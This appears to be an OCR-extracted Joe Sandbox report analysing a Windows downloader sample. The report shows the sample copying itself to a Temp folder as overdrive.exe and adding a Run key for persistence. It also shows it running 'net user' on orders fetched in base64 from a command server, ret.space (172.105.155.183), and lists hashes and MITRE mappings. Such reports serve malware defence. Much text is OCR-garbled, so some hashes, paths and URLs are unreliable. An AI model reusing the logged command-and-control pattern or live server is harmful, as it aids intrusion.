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Windows Analysis Report jvcMPyQ76¢c

Overview
General Information Detection Signatures Classification
Sample jveMPyQ76c (renamed file
Name: extension from none to Antivirus / Scanner detection for sub...
exe)

Multi AV Scanner detection for subm...
Analysis ID: 492654

Multi AV Scanner detection for doma...

MDs: dbc056b39057f70.
SHAL: MALICIOUS Antivirus detection for dropped file
: db78a335937e36..
SHA256: d841ce25ed6157.. Multi AV Scanner detection for dropp...
Tags: exe ps|PEfiles
Infos: n E ‘f il & EEE PE filelcontainsisections withinon:s:..
v Internet Provider'seen in connection...

Most interesting Screenshot: Samplelexecution stops While!proce:..

Creates alprocess|inisuspendedimos..

Score: 80

Range: 0-100 |P'addressiseeniiniconnection withio:..
Whitelisted: false

Confidence: 100%

= System is wl0x64

e [ jycMPyQ76c.exe (PID: 6548 cmdline: 'C:\Users\user\Desktop\jveMPyQ76c.exe’ MD5: DBC056B39057F701A967102B2EC2083E)

. conhost.exe (PID: 6592 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

. cmd.exe (PID: 1012 cmdline: C:\Windows\system32\cmd.exe /c 'net user' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

e [ netexe (PID: 3500 cmdline: net user MD5: 15534275EDAABC58159DDOF8607A71ES)
o [ netl.exe (PID: 5640 cmdline: C:\Windows\system32\net1 user MD5: AF569DE92AB6C1B9C681AF1E799F9983)

o [ overdrive.exe (PID: 7056 cmdline: 'C:\Users\user\AppData\Local\Temp\overdrive.exe' MD5: DBC056B39057F701A967102B2EC2083E)

. conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Net.exe Execution

Jbx Signature Overview

Copyright Joe Security LLC 2021
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Click to jump to signature section

AV Detection:

Antivirus | Scanner detection for submitted sample
Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Mitre Att&ck Matrix

Command Remote
Initial Privilege Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration Control Effects Effects Im
Valid Windows Registry Process Software oS Security Remote Data from  Exfiltration Non- Eavesdrop on  Remotely Mc
Accounts Management  Run Keys / Injection Packing Credential Software Services Local Over Other Application Insecure Track Device Sy
Instrumentation Startup Dumping Discovery System Network Layer Network Without Pe
Folder Medium Protocol Communication Authorization
Default  Scheduled Boot or Registry Run  Process LSASS System Remote Data from  Exfiltration Application Exploit SS7to Remotely De
Accounts Task/Job Logon Keys / Startup Injection Memory  Information Desktop Removable Over Layer Redirect Phone Wipe Data Lo
Initialization Folder Discovery Protocol Media Bluetooth Protocol Calls/SMS Without
Scripts Authorization
Domain At (Linux) Logon Script Logon Script  Obfuscated Security Remote System SMB/Windows Data from Automated Ingress Exploit SS7to  Obtain De
Accounts (Windows)  (Windows) Files or Account Discovery Admin Shares Network Exfiltration  Tool Track Device  Device De
Information g Manager Shared Transfer g} Location Cloud 3
Drive Backups

Behavior Graph
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Behavior Graph

-

-
®

«Q
@®
=}
o

sample: IVeMPYQ76e SUSPICIOUS
Startdate:  28/09/2021 TR D Process
Architecture:  WINDOWS W X
Score: 80 D Signature
I:‘ Created File
Bl ovsie oo
started started I.l
ia's Dropped
L .
=+ Number of created Registry Values
L]
overdiveexe 47 jeMPyQTECere 8 Number of created Files
90 yisyal Basic
] B: [CHE RN \anlc
. .
111 Delphi
—
€, Java
ret.space @ =
172.105.155.183, 49736, 49814, 80
2 5 - dropped /v Net C#or VB.NET
LINODE-APLinodeLLCUS
United States ES
@ C, C++ or other language
Is malicious
started C:\Usersluser\AppDatalLocall...\overdrive.exe, PEzz@ started
Internet
conhost.exe e cmd.exe e conhost.exe e
[C] C W [C]
l started
netexe V-
Ic] B
l started
netl.exe ~
@ h:

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Recycle Bin  WKXEWIOTXI

z

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
jveMPyQ76c¢.exe
jveMPyQ76c¢.exe

jveMPyQ76c¢.exe
Dropped Files
Source

C:\Users\user\AppData\Local\Temp\overdrive.exe

C:\Users\user\AppData\Local\Temp\overdrive.exe

Unpacked PE Files
No Antivirus matches
Domains

Source

ret.space

Copyright Joe Security LLC 2021

Detection
62%
58%

100%

Detection
100%
58%

Detection

9%

Scanner
Virustotal

ReversingLabs

Avira

Scanner
Avira

ReversingLabs

Scanner

Virustotal

10:08 PM

Label Link
Browse

Win64.Downloader.BanLoa
d

TR/Agent.fbrrp

Label Link
TR/Agent.fbrrp

Win64.Downloader.BanLoa
d

Label Link

Browse
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https://www.virustotal.com/gui/file/d841ce25ed61572cb31a864c67b9f35d36e781e601d1539674cce9f077d80b29/detection/f-d841ce25ed61572cb31a864c67b9f35d36e781e601d1539674cce9f077d80b29-1632823311
https://www.virustotal.com/gui/url/6eb12ff6401dda3d8e2e9dc72d368d19363204601496361d07b012cc3732c826/detection/u-6eb12ff6401dda3d8e2e9dc72d368d19363204601496361d07b012cc3732c826-1632808599

URLs

Source Detection Scanner Label Link
Wipifretspacefitmodiedsincelegal e Vwsewl  powe
http:iiret.space/if-modified-sinceillegal 0% Avira URL Cloud safe

http:/iret.space/resultUser-Agent: 0% Avira URL Cloud safe

http:/iret.space/checkin? 0% Avira URL Cloud safe
host=830021&user=user.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.

http:/iret.space/result 0% Avira URL Cloud safe
http:iiret.space/command?id=bmV0IHVzZQ%3D%3D 0% Avira URL Cloud safe
http:/iret.space/checkin?host=830021&user=user 0% Avira URL Cloud safe
http:/iret.space/command?id=bmV0IHVzZQ%3D%3DContent-Type: 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious

General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 492654

Start date: 28.09.2021

Start time: 22:05:34

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 6m 32s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: jveMPyQ76c¢ (renamed file extension from none to exe)
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 27

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o O o o

Number of injected processes analysed:
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https://www.virustotal.com/gui/url/51f0c3a6262ff680638578a8b18e49cb8ef86788d84e23bdd7b6041a1fecd67f/detection/u-51f0c3a6262ff680638578a8b18e49cb8ef86788d84e23bdd7b6041a1fecd67f-1590431901
https://www.virustotal.com/gui/url/6eb12ff6401dda3d8e2e9dc72d368d19363204601496361d07b012cc3732c826/detection/u-6eb12ff6401dda3d8e2e9dc72d368d19363204601496361d07b012cc3732c826-1632808599

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

22:06:40

Autostart

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal80.WwinEXE@10/1@30/1
Failed

e Successful, ratio: 100% (good quality ratio 82.4%)
e Quality average: 52.2%
e Quality standard deviation: 34.2%

Failed

e Adjust boot time
e Enable AMSI

Show All

Type Description

\overdrive.exe

Joe Sandbox View | Context

IPs

Match
172.105.155.183

Domains

Match

ret.space

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run overdrive C:\Users\user\AppData\Local\Temp

Context

ret.space
[result

ret.space
[result

ret.space
[result

ret.space
[result

ret.space
[result

ret.space
Iresult

ret.space
[result

ret.space
[result

ret.space
Iresult

ret.space
Iresult

Context

172.105.15
5.183

172.105.15
5.183

172.105.15
5.183

172.105.15
5.183

172.105.15
5.183
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https://view.joesandbox.com/analysis/383639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383639/html/none?idtype=webid
https://view.joesandbox.com/analysis/383638/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383638/html/none?idtype=webid
https://view.joesandbox.com/analysis/382318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382318/html/none?idtype=webid
https://view.joesandbox.com/analysis/378321/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378321/html/none?idtype=webid
https://view.joesandbox.com/analysis/378262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378262/html/none?idtype=webid
https://view.joesandbox.com/analysis/378244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378244/html/none?idtype=webid
https://view.joesandbox.com/analysis/376084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376084/html/none?idtype=webid
https://view.joesandbox.com/analysis/313083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313083/html/none?idtype=webid
https://view.joesandbox.com/analysis/310319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310319/html/none?idtype=webid
https://view.joesandbox.com/analysis/309799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/309799/html/none?idtype=webid
https://view.joesandbox.com/analysis/383639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383639/html/none?idtype=webid
https://view.joesandbox.com/analysis/383638/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383638/html/none?idtype=webid
https://view.joesandbox.com/analysis/382318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382318/html/none?idtype=webid
https://view.joesandbox.com/analysis/378321/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378321/html/none?idtype=webid
https://view.joesandbox.com/analysis/378262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378262/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

_ Get hash malicious Browse e 172.105.15
5.183
_ Get hash malicious Browse e 172.105.15
5.183
_ Get hash malicious Browse e 172.105.15
5.183
_ Get hash malicious Browse e 172.105.15
5.183
_ Get hash malicious Browse e 172.105.15
5.183
ASN
Match Associated Sample Name /| URL SHA 256 Detection Link Context
LINODE-APLinodeLLCUS [B¥gZNb0URExe I Get hash malicious Browse o 172.104.86.131
_ Get hash malicious Browse e 172.105.252.87
_ Get hash malicious Browse e 178.79.143.50
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.33.20.41
_ Get hash malicious Browse e 45.79.95.163
_ Get hash malicious Browse e 45.33.18.44
_ Get hash malicious Browse e 50.116.46.16

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process: C:\Users\user\Desktop\jveMPyQ76c.exe

File Type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

Category: dropped

Size (bytes): 1419872

Entropy (8bit):  7.914084948107338

Encrypted: false

SSDEEP: 24576:WEMaXQquDLcY TH5UIR6rEgDZ4RKWVzCJIQUMVISPT7gg7hFriYi9 TOM+UY:/MQQuDLVI/VGKEGOUMNSIog7GHT9eY

MD5: DBC056B39057F701A967102B2EC2083E

SHAL: DB78A335937E3685B5F49F384A94224FF429AB12

SHA-256: D841CE25ED61572CB31A864C67B9F35D36E781E601D1539674CCE9F077D80B29

SHA-512: 840EF04B6240BAFB62BA5008C3D71125F1FFB4CB8D6B4EBCF9482D674DCBE479333F535B44DDC7EADD85628CDIFB09D38FDFEDDOE3B5BIE66A4103F7F4628
BF

Malicious: true

Antivirus: e Antivirus: Avira, Detection: 100%

e Antivirus: ReversingLabs, Detection: 58%

Reputation: low

Copyright Joe Security LLC 2021 Page 10 of 20


https://view.joesandbox.com/analysis/378244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378244/html/none?idtype=webid
https://view.joesandbox.com/analysis/376084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376084/html/none?idtype=webid
https://view.joesandbox.com/analysis/313083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313083/html/none?idtype=webid
https://view.joesandbox.com/analysis/310319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310319/html/none?idtype=webid
https://view.joesandbox.com/analysis/309799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/309799/html/none?idtype=webid
https://view.joesandbox.com/analysis/386790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386790/html/none?idtype=webid
https://view.joesandbox.com/analysis/386392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386392/html/none?idtype=webid
https://view.joesandbox.com/analysis/386271/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386271/html/none?idtype=webid
https://view.joesandbox.com/analysis/386111/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386111/html/none?idtype=webid
https://view.joesandbox.com/analysis/386103/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386103/html/none?idtype=webid
https://view.joesandbox.com/analysis/386024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386024/html/none?idtype=webid
https://view.joesandbox.com/analysis/386016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386016/html/none?idtype=webid
https://view.joesandbox.com/analysis/386015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386015/html/none?idtype=webid
https://view.joesandbox.com/analysis/386003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386003/html/none?idtype=webid
https://view.joesandbox.com/analysis/385990/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385990/html/none?idtype=webid
https://view.joesandbox.com/analysis/385989/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385989/html/none?idtype=webid
https://view.joesandbox.com/analysis/385982/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385982/html/none?idtype=webid
https://view.joesandbox.com/analysis/385979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385979/html/none?idtype=webid
https://view.joesandbox.com/analysis/385976/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385976/html/none?idtype=webid
https://view.joesandbox.com/analysis/385973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385973/html/none?idtype=webid
https://view.joesandbox.com/analysis/385963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385963/html/none?idtype=webid
https://view.joesandbox.com/analysis/385962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385962/html/none?idtype=webid
https://view.joesandbox.com/analysis/385955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385955/html/none?idtype=webid
https://view.joesandbox.com/analysis/385703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385703/html/none?idtype=webid
https://view.joesandbox.com/analysis/385563/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385563/html/none?idtype=webid

Preview:
MZ. @ .L.IThis program cannot be run in DOS mode....$.......PE..d D.
.F.L. ....UPXO...... 3
.@...3.91.UPXL.$..p{yTw...tF
t*.V...<.tFT9..4L3@....6.J....$.,....n..(..}.8H.
d8._..uva.A.90..e...L.@..9h;9..U...b......Z....;.1.1...0..0.E\F.....A...E.rp..C.2.....

H...D$8H.......6R.0.
E8..1.2.6.t/.#."U...v[.

Static File Info
General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Copyright Joe Security LLC 2021

00828e8e8686b000

0x869300
UPX1
false
0x400000

windows cui

PE32+ executable (console) x86-64 (stripped to external
PDB), for MS Windows

7.914084948107338

Win64 Executable (generic) (12005/4) 74.80%
Generic Win/DOS Executable (2004/3) 12.49%
DOS Executable Generic (2002/1) 12.47%

VXD Driver (31/22) 0.19%

Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.04%

jveMPyQ76c.exe

1419872

e o o o o

dbc056b39057f701a967102b2ec2083e
db78a335937e3685h5f49f384a94224ff429ab12

d841ce25ed61572ch31a864c67b9f35d36e781e601d153
9674cce9f077d80b29

840ef04b6240bafh62ba5008c3d71125f1ffb4cb8d6b4ebc
f9482d674dcbe479333f535b44ddc7eadd85628cd9fb09d
38fdfedd0e3b5b9e66a4103f7f4628dbf

24576:WEMaXQquDLcYTH5UIR6rEgDZ4RkWVzCJIQu
MVIStPT7gg7hFriYi9TOM+UY:/MQQquDLVr/VgkEGOu
MnSlog7GHT9eY

EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED,

RELOCS_STRIPPED

0x0 [Thu Jan 1 00:00:00 1970 UTC]

o » o » O »

2cd14f15921469c2e776cf169a885091
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Data Directories

Sections

Name  Virtual Address Virtual Size
UPXO0 0x1000 0x30e000
UPX1 0x30f000 0x15b000
UPX2 0x46a000 0x1000

Imports

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp
Sep 28, 2021 22:06:36.564655066 CEST

Sep 28, 2021 22:06:36.564744949 CEST
Sep 28, 2021 22:06:36.564805984 CEST
Sep 28, 2021 22:06:36.564872026 CEST
Sep 28, 2021 22:06:36.564930916 CEST
Sep 28, 2021 22:06:36.565045118 CEST
Sep 28, 2021 22:06:36.565110922 CEST
Sep 28, 2021 22:06:36.565176010 CEST
Sep 28, 2021 22:06:36.565233946 CEST
Sep 28, 2021 22:06:36.565290928 CEST
Sep 28, 2021 22:06:36.565381050 CEST
Sep 28, 2021 22:06:36.565443039 CEST
Sep 28, 2021 22:06:36.565502882 CEST
Sep 28, 2021 22:06:36.565560102 CEST
Sep 28, 2021 22:06:36.565618038 CEST
Sep 28, 2021 22:06:36.565680027 CEST
Sep 28, 2021 22:06:36.565726995 CEST

Sep 28, 2021 22:06:36.565783978 CEST

Copyright Joe Security LLC 2021

Raw Size

0x0

0x15a600

0x200

Source IP
192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

Xored PE

unknown

False

False

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

ZLIB Complexity

unknown

0.982115267503

0.384765625

Trans ID
0x454

0x1c03

0x43f

Ox16a5

Oxlal3

0xe32

Ox112a

0xe65

0xb26

0x966

0x1f8

0x190f

0x19

0x898

Ox10aa

Ox1d4b

Ox1b4d

Ox4cl

File Type Entropy
unknown unknown

data 7.91456662088
data 2.74602662534
OP Code Name
Standard query  ret.space
()

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
(0)

Standard query  ret.space
0

Standard query  ret.space
0

Standard query  ret.space
0

Standard query  ret.space
0

Standard query  ret.space
(0

Standard query  ret.space
0

Standard query  ret.space
0

Standard query  ret.space
0

Standard query  ret.space

©)

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

Type Class

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A(IP address)  IN (0x0001)
A(IP address)  IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A(IP address)  IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 28, 2021 22:06:36.565855980 CEST 192.168.2.6 8.8.8.8 0x7e9 Standard query  ret.space A (IP address) IN (0x0001)
0

Sep 28, 2021 22:06:36.565917015 CEST 192.168.2.6 8.8.8.8 0x1473 Standard query  ret.space A (IP address) IN (0x0001)
(0

Sep 28, 2021 22:06:36.565975904 CEST 192.168.2.6 8.8.8.8 0x10al Standard query  ret.space A (IP address) IN (0x0001)
0

Sep 28, 2021 22:06:36.566032887 CEST 192.168.2.6 8.8.8.8 0xa9c Standard query  ret.space A (IP address) IN (0x0001)
0

Sep 28, 2021 22:06:36.566090107 CEST 192.168.2.6 8.8.8.8 0x324 Standard query  ret.space A (IP address) IN (0x0001)
(0

Sep 28, 2021 22:06:36.566148996 CEST 192.168.2.6 8.8.8.8 0x2c5 Standard query  ret.space A (IP address) IN (0x0001)
(0)

Sep 28, 2021 22:06:36.566206932 CEST 192.168.2.6 8.8.8.8 Oxacd Standard query  ret.space A (IP address) IN (0x0001)
(0

Sep 28, 2021 22:06:36.566368103 CEST 192.168.2.6 8.8.8.8 0x1557 Standard query  ret.space A (IP address) IN (0x0001)
(0)

Sep 28, 2021 22:06:36.566400051 CEST 192.168.2.6 8.8.8.8 0xa47 Standard query  ret.space A (IP address) IN (0x0001)
(0)

Sep 28, 2021 22:06:36.566459894 CEST 192.168.2.6 8.8.8.8 0x567 Standard query  ret.space A (IP address) IN (0x0001)
(0)

Sep 28, 2021 22:06:38.911987066 CEST 192.168.2.6 8.8.8.8 0x4499 Standard query  ret.space A (IP address) IN (0x0001)
@

Sep 28, 2021 22:08:42.956034899 CEST 192.168.2.6 8.8.8.8 Ox14eb Standard query  ret.space A (IP address) IN (0x0001)
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 28, 2021 8.8.8.8 192.168.2.6 0x898 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.587925911

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x112a No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.587990046

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x43f No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.589987040

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x567 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.591672897

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x966 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.591980934

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x2c5 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592329025

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 Ox10aa No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592505932

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x1c03 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592529058

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 Ox1d4b No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592538118

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 Oxlal3 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592552900

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x16a5 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592561960

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x324 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592585087

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0x190f No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592600107

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0xe32 No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592607975

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 0xa9c No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592634916

CEST

Sep 28, 2021 8.8.8.8 192.168.2.6 Ox4cl No error (0) ret.space 172.105.155.183 A (IP address) IN (0x0001)

22:06:36.592648983

CEST

Copyright Joe Security LLC 2021 Page 13 of 20



Timestamp Source IP

Sep 28, 2021 8.8.8.8
22:06:36.592658997
CEST

Sep 28, 2021 8.8.8.8
22:06:36.592677116
CEST

Sep 28, 2021 8.8.8.8
22:06:36.594453096
CEST

Sep 28, 2021 8.8.8.8
22:06:36.595196962
CEST

Sep 28, 2021 8.8.8.8
22:06:36.599299908
CEST

Sep 28, 2021 8.8.8.8
22:06:36.599324942
CEST

Sep 28, 2021 8.8.8.8
22:06:36.599468946
CEST

Sep 28, 2021 8.8.8.8
22:06:36.600008965
CEST

Sep 28, 2021 8.8.8.8
22:06:36.600390911
CEST

Sep 28, 2021 8.8.8.8
22:06:36.600415945
CEST

Sep 28, 2021 8.8.8.8
22:06:36.608825922
CEST

Sep 28, 2021 8.8.8.8
22:06:36.803883076
CEST

Sep 28, 2021 8.8.8.8
22:06:38.931003094
CEST

Sep 28, 2021 8.8.8.8
22:08:42.975212097
CEST

Dest IP Trans ID Reply Code Name CName

192.168.2.6 0x1473
192.168.2.6 0x1557
192.168.2.6 Ox10al
192.168.2.6 0x454
192.168.2.6 0Oxe65
192.168.2.6 Oxad7
192.168.2.6 0xb26
192.168.2.6 Ox1b4d
192.168.2.6 0x1f8
192.168.2.6 Oxacd
192.168.2.6 0x19
192.168.2.6 0x7e9
192.168.2.6 0x4499
192.168.2.6 Ox14eb

HTTP Request Dependency Graph

o ret.space

HTTP Packets

Session ID Source IP
0 192.168.2.6

kBytes
Timestamp transferred
Sep 28, 2021 994

22:06:39.073271990 CEST

Sep 28, 2021 995
22:06:39.207856894 CEST

Sep 28, 2021 6837
22:07:39.222356081 CEST

Sep 28, 2021 6837
22:07:39.370114088 CEST

Copyright Joe Security LLC 2021

Source Port
49736

Direction
ouT

ouT

No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space
No error (0) ret.space

Destination IP  Destination Port Process

Address
172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183

172.105.155.183 80 C:\Users\user\Desktop\jveMPyQ76c.exe

Data

GET /checkin?host=830021&user=user HTTP/1.1
Host: ret.space

User-Agent: Go-http-client/1.1

Accept-Encoding: gzip

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 20:06:39 GMT
Content-Length: 12

Content-Type: text/plain; charset=utf-8

Data Raw: 62 6d 56 30 49 48 56 7a 5a 51 3d 3d
Data Ascii: bmVOIHVzZQ==

GET /command?id=bmV0IHVzZQ%3D%3D HTTP/1.1
Host: ret.space

User-Agent: Go-http-client/1.1

Accept-Encoding: gzip

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 20:07:39 GMT
Content-Length: 12

Content-Type: text/plain; charset=utf-8

Data Raw: 62 6d 56 30 49 48 56 7a 5a 58 49 3d
Data Ascii: bmVOIHVzZXI=

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

